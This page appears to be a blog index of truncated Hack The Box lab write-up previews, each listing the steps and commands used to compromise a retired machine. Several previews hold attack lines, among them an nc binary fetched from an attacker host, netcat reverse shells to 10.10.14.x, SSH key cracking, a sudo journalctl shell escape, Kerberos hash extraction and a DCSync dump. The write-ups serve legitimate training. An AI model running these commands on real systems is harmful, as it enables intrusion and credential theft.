Brief It is a easy windows machine from hack the box.It’s easy but root part is little hard and more enumeration is required for it.But once you get it’s so easy. It has only a single port .And the walk through is around HFS exploits using metasploit.And then privilege escalation through a integer overflow. Steps … Read more
Brief It is a retired machine from hack the box. It’s a linux insane machine . Steps involved 1-Port scanning2-Enumerating SSLcertificates3-Editing our host file4-Exploiting WP Support Plus5-Getting email password6-Getting creds for secret form7-Decoding Vigenere ciphers8-Decrypting the id_rsa keyprase9-Getting user.txt10-Decrypting the root.txt11-Getting root.txt Commands involved 1-nmap -sC -sV -O -v -oV 10.10.10.172-nano /etc/hosts3-wpscan –url https://brainfuck.htb –disable-tls-checks4-searchsploit … Read more
Commands used 1-nmap -sC -sV -O -v -oA initial 10.10.10.42-python getshell.py 10.10.10.165 80 “cd / && mkdir tmp”3-python getshell.py 10.10.10.165 80 “cd /tmp && wget http://10.10.14.20:8000/nc”4-python getshell.py 10.10.10.165 80 “/tmp/nc -e /bin/bash 10.10.14.20 4444″5-cd /home/david/public_www6-base64 backup-ssh-identity-files.tgz7-base64 -d file >>new file8-/usr/share/john/ssh2john.py id_rsa9-john hash –wordlist=/root/Desktop/rockyou.txt10-ssh -i id_rsa [email protected]/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service12-!/bin/bash Steps invloved 1-Enumeration2-Exploiting nostromo 1.9.63-Getting a … Read more
Its an easy box from hack the box which is very easy and it is more of CVE type. Commands used nmap -sC -sV -O -v -oA initial 10.10.10.4 msfconsole use exploit/windows/smb/ms08_067_netapi show options Steps involved EnumerationFinding exploitUsing metasploit module to exploit it. Enumeration Nmap Scan Increasing send delay for 10.10.10.4 from 0 to 5 … Read more
Introduction Registry is a retired machine from the platform hack the box and writeups of retired machines are only allowed. Registry is a HARD machine of worth points 40. Steps Nmap scan Enumerating webpages Exploiting docker Getting docker blobs Getting id_rsa keys Getting user.txt Enumerating Login into bolt webpage and uploading reverse shell Backing up … Read more
Steps Nmap scan Finding RFI Setting up Samba server Getting reverse shell Privilege escalation(Getting user.txt) Basic enumeration Making malicious .chm file Getting the reverse shell(Getting root.txt) Commands used nmap -sC -sV -oV 10.10.10.151 nano /etc/samba/smb.conf service smbd start nc.exe 10.10.14.39 4444 -e cmd.exe powershell $username = ‘SNIPER\Chris’ $password = ’36mEAhz/B8xQ~2VM’ $securePassword = ConvertTo-SecureString $password -AsPlainText … Read more
Steps: Nmap Scan. Enumerating user names. Exploiting Kerberos Decryption of hash.txt. Login with Evil-winrm(user) Uploading Blood hound Adding User to group. Escalating the privilages. DCSync attack via secretsdump Login with wmiexec.py(root) Tools used Impacket(GetNPUsers.py,ntlmrelayx.py ,secretsdump.py) Evil-winrm Bloodhound. Commands used nmap -sC -sV -oV 10.10.10.161 enum4linux -a 10.10.10.161 GetNPUsers.py HTB.local/ -usersfile /root/Desktop/htb/forest/user.txt -format john -outputfile hashes.txt … Read more
